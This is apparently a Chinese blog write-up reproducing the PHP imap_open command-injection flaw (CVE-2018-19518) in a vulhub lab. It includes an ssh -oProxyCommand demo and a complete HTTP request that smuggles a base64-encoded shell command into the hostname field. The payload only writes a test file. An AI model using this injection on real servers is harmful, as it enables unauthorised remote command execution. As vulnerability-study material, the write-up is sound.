PHP imap 远程命令执行漏洞(CVE-2018-19518)

受影响版本

Ubuntu https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-19518.html

Debian https://security-tracker.debian.org/tracker/CVE-2018-19518

Red Hat https://access.redhat.com/security/cve/cve-2018-19518

SUSE https://www.suse.com/security/cve/CVE-2018-19518/

介绍

PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。

该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。

如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。

成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。

imap_open(string $mailbox , string $username , string $password)函数中的mailbox是执行命令参数的一部分,所以我们可以通过更改邮箱名来进行命令注入执行

在了解下ProxyCommand命令

ProxyCommand 指定用于连接服务器的命令。命令字符串扩展到行的末尾,并使用用户的shell' exec'指令执行,以避免延迟的shell进程。 ProxyCommand接受TOKENS 部分中描述的令牌的 参数。该命令基本上可以是任何东西,并且应该从其标准输入读取并写入其标准输出。它应该最终连接在某台机器上运行的sshd(8)服务器,或者在sshd -i某处执行。主机密钥管理将使用所连接主机的HostName完成(默认为用户键入的名称)。设置命令以none完全禁用此选项。请注意, CheckHostIP无法与代理命令连接。 该指令与nc(1)及其代理支持结合使用非常有用 。例如,以下指令将通过192.0.2.0的HTTP代理连接: ProxyCommand / usr / bin / nc -X connect -x 192.0.2.0:8080% h%p

root@86894740719e:/tmp# ssh -oProxyCommand="echo hello|tee /tmp/executed" localhost ssh_exchange_identification: Connection closed by remote host root@86894740719e:/tmp# ls executed root@86894740719e:/tmp# cat executed  hello

 

复现过程

这里用vulhub来搭建环境

 

 

访问并抓包

把hostname发送到Repeater,对hostname进行更改

POST / HTTP/1.1
Host: 192.168.61.151:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://192.168.61.151:8080/
Content-Type: application/x-www-form-urlencoded
Content-Length: 115
Connection: close
Upgrade-Insecure-Requests: 1

hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC9zZGZ6|base64%09-d|sh}&username=111&password=222

对内容需要进行base64编码,+(%2b)TAB(%09) =(%3d)都是url编码

把包发送出去,查看下是否成功创建文件

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值